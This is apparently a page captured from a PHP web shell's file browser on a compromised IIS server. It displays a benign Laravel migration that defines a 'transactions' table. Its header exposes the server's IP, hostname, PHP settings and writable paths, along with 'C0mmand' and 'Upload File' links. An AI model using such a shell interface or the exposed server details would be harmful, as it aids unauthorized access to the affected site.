Server IP : 103.11.96.170 / Your IP : 18.116.28.60 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/trash/database/migrations/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('transactions', function (Blueprint $table) { $table->id(); $table->string('code'); $table->integer('user_id'); $table->integer('waste_bank_id'); $table->datetime('date'); $table->datetime('measure_at')->nullable(); $table->integer('measure_weight')->nullable(); $table->integer('measure_by')->nullable(); $table->enum('status', ['UNPAID', 'PAID'])->default('UNPAID'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('transactions'); } };